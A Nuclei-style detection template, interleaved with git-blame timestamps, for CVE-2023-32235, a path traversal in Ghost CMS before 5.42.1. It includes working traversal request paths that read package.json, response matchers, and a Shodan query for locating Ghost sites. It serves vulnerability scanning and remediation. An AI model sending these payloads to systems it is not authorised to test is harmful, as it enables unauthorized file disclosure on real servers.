2023-05-08 06:27:57 +00:00
id : CVE-2023-32235
info :
2023-05-08 07:38:31 +00:00
name : Ghost CMS < 5.42.1 - Path Traversal
2023-05-08 06:27:57 +00:00
author : j3ssie
2023-07-11 19:49:27 +00:00
severity : high
2023-05-08 06:27:57 +00:00
description : |
Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
2023-09-06 11:43:37 +00:00
remediation : Fixed in version 5.42.1
2023-05-08 06:27:57 +00:00
reference :
- https://github.com/advisories/GHSA-wf7x-fh6w-34r6
- https://nvd.nist.gov/vuln/detail/CVE-2023-32235
2023-07-11 19:49:27 +00:00
- https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f
- https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1
2023-05-08 06:27:57 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2023-05-08 06:27:57 +00:00
cve-id : CVE-2023-32235
2023-07-11 19:49:27 +00:00
cwe-id : CWE-22
2023-07-15 16:29:17 +00:00
epss-score : 0.00998
2023-12-12 11:07:52 +00:00
epss-percentile : 0.81849
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*
2023-05-08 06:27:57 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : ghost
product : ghost
2023-09-06 11:43:37 +00:00
framework : node.js
shodan-query : http.component:"Ghost"
2023-12-05 09:50:33 +00:00
tags : cve,cve2023,lfi,ghostcms,ghost,node.js
2023-05-08 06:27:57 +00:00
http :
- method : GET
path :
- "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
- "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"
2023-05-08 07:28:19 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2023-05-08 06:27:57 +00:00
matchers-condition : and
matchers :
- type : word
2023-05-08 07:28:19 +00:00
part : body
2023-05-08 06:27:57 +00:00
words :
2023-05-08 07:28:19 +00:00
- '"name"'
- '"version"'
- '"ghost"'
2023-05-08 06:27:57 +00:00
condition : and
- type : word
2023-05-08 07:28:19 +00:00
part : header
2023-05-08 06:27:57 +00:00
words :
- "application/json"
- type : status
status :
2023-05-08 07:38:31 +00:00
- 200
2023-12-12 12:02:03 +00:00
# digest: 4a0a004730450220196c8dbfd63c287b7c1f6b4b400d9e6acae11f4763bb43e3ce4d7dce7a968570022100b1007a98ec0270ab893cdd87d9ad601937d800d49fbb7f0586d8057d86cebd9b:922c64590222798bb761d5b6d8e72950